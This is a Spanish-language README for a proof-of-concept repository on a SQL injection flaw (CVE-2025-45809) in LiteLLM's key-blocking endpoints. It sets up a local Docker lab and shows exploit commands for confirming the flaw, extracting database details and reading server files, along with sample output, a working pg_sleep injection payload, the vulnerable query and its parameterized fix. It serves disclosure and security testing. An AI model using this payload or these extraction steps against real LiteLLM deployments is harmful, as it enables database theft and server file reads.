
Código para reproducir la vulnerabilidad individualmente
/key/block (Time-Based Blind SQLi)LiteLLM v1.65.4 (versiones anteriores a v1.81.0) de los endpoints
/key/blocky/key/unblockpresentan una vulnerabilidad de inyección SQL en el parámetrokey. Un atacante puede explotar la inyección ciega basada en tiempo para extraer contenido de la base de datos y leer archivos del servidor.
| Field | Value |
|---|---|
| CVE | CVE-2025-45809 |
| GHSA | GHSA-cgmh-xxmq-hp46 |
| CVSS v3.1 | 5.4 (MEDIUM) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
| CWE | CWE-89 (SQL Injection) |
| Affected | LiteLLM < 1.81.0 (confirmado en v1.65.4) |
| Fixed | v1.81.0+ (corregido con consultas parametrizadas) |
| Published | 2025-07-03 |
| Discovered by | shadia0 (via Huntr bounty) |
| Links | NVD • Huntr • Snyk |
Los endpoints /key/block y /key/unblock de LiteLLM se utilizan para gestionar el bloqueo/desbloqueo de claves API.
Al procesar el parámetro key, estos endpoints concatenan directamente la entrada del usuario en la cadena de consulta SQL (usando formato f-string),
sin utilizar consultas parametrizadas, lo que provoca una vulnerabilidad de inyección SQL.
| Punto final | Método | Parámetro de inyección |
|---|---|---|
/key/block | POST | key (JSON body) |
/key/unblock | POST | key (JSON body) |
pg_sleep() de PostgreSQL, se confirma la inyección mediante diferencias en el tiempo de respuesta.pg_read_file() de PostgreSQL.# 1. Iniciar PostgreSQL + LiteLLM vulnerable
docker compose up -d
# 2. Instalar dependencias
pip install -r requirements.txt
# 3. Confirmar la inyección SQL (detección de retardo con pg_sleep)
python3 exploit/exploit.py --mode check --target http://localhost:4000
Nota: Al ejecutar el exploit por primera vez, se llamará automáticamente a
/key/generatepara crear una clave API, lo que hará que Prisma complete la creación de la tablaKeyen la base de datos. Esto es un requisito previo necesario para que el endpoint/key/blockpueda entrar en la ruta de consulta SQL vulnerable. Si se omite este paso,/key/blockdevolverá un 401 debido a que la tablaKeyno está inicializada, impidiendo que la inyección se active.
python3 exploit/exploit.py --mode extract-user --target http://localhost:4000
python3 exploit/exploit.py --mode extract-version --target http://localhost:4000
python3 exploit/exploit.py --mode file-read --target http://localhost:4000
docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed
### Salida esperada
**Confirmación de inyección (--mode check):**
Target : http://localhost:4000 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.01s (HTTP 401)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP 200)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 3.01s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 5.01s (N/A)
[*] Analysis: Baseline time: 0.01s pg_sleep(3): 3.01s (expected ~3s) pg_sleep(5): 5.01s (expected ~5s)
[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful! Response increased from 0.01s to 5.01s
**Versión corregida rechaza la inyección:**
Target : http://localhost:4001 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.00s (HTTP 400)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP N/A)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 0.00s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 0.00s (N/A)
[*] Analysis: Baseline time: 0.00s pg_sleep(3): 0.00s (expected ~3s) pg_sleep(5): 0.00s (expected ~5s)
[+] Fixed version: No time delay detected (expected).
---
## Technical Details
### Código vulnerable
En LiteLLM v1.65.4, la lógica de procesamiento del endpoint `/key/block` es similar a la siguiente (simplificada):
```python
# Código vulnerable (v1.65.4) — uso de f-string para concatenar SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
key = key_data.get("key", "")
# Concatenación directa de la entrada del usuario a la consulta SQL
query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
await database.execute(query)
return {"status": "success"}
El atacante inyecta una función de retardo de tiempo de PostgreSQL en el parámetro key:
' OR (SELECT pg_sleep(5)) IS NULL --
La consulta SQL resultante se convierte en:
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'
| Escenario de prueba | Tiempo de respuesta | Conclusión |
|---|---|---|
| Solicitud normal (key=test) | ~0.01s | Línea base |
| pg_sleep(3) | ~3.01s | Inyección efectiva |
| pg_sleep(5) | ~5.01s | Inyección confirmada |
LiteLLM v1.65.4 utiliza Prisma ORM para gestionar la base de datos. La tabla Key sigue una estrategia de creación diferida:
antes de la primera llamada a /key/generate para crear una clave API, la tabla Key no existe en PostgreSQL.
Esto provoca que la consulta de verificación de clave del endpoint /key/block (WHERE key='{input}') devuelva un 401 antes de llegar a la ruta de código SQL vulnerable,
debido a que la tabla no existe.
El PoC actual maneja esto automáticamente: el script exploit, antes de enviar el payload de inyección, llama primero
a /key/generate para crear una clave API, asegurando que la tabla de la base de datos esté lista.
Nota: Al iniciar el contenedor por primera vez, espere aproximadamente 30-60 segundos (instalación de Prisma CLI + inicialización de la base de datos). Espere hasta que aparezca
Uvicorn running on http://0.0.0.0:4000en los registros antes de ejecutar el exploit.
CVE-2025-45809/
├── README.md # This file
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml # LiteLLM config with DB connection
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # SQL injection payload builder
├── docs/
│ └── advisory.md
└── screenshots/
└── README.md
Se corrigió en v1.81.0, reemplazando la concatenación con f-string por consultas parametrizadas (Prepared Statements):
# Corregido — uso de consultas parametrizadas
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key}) # Enlace seguro de parámetros
keyDescargo de responsabilidad: Este contenido se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.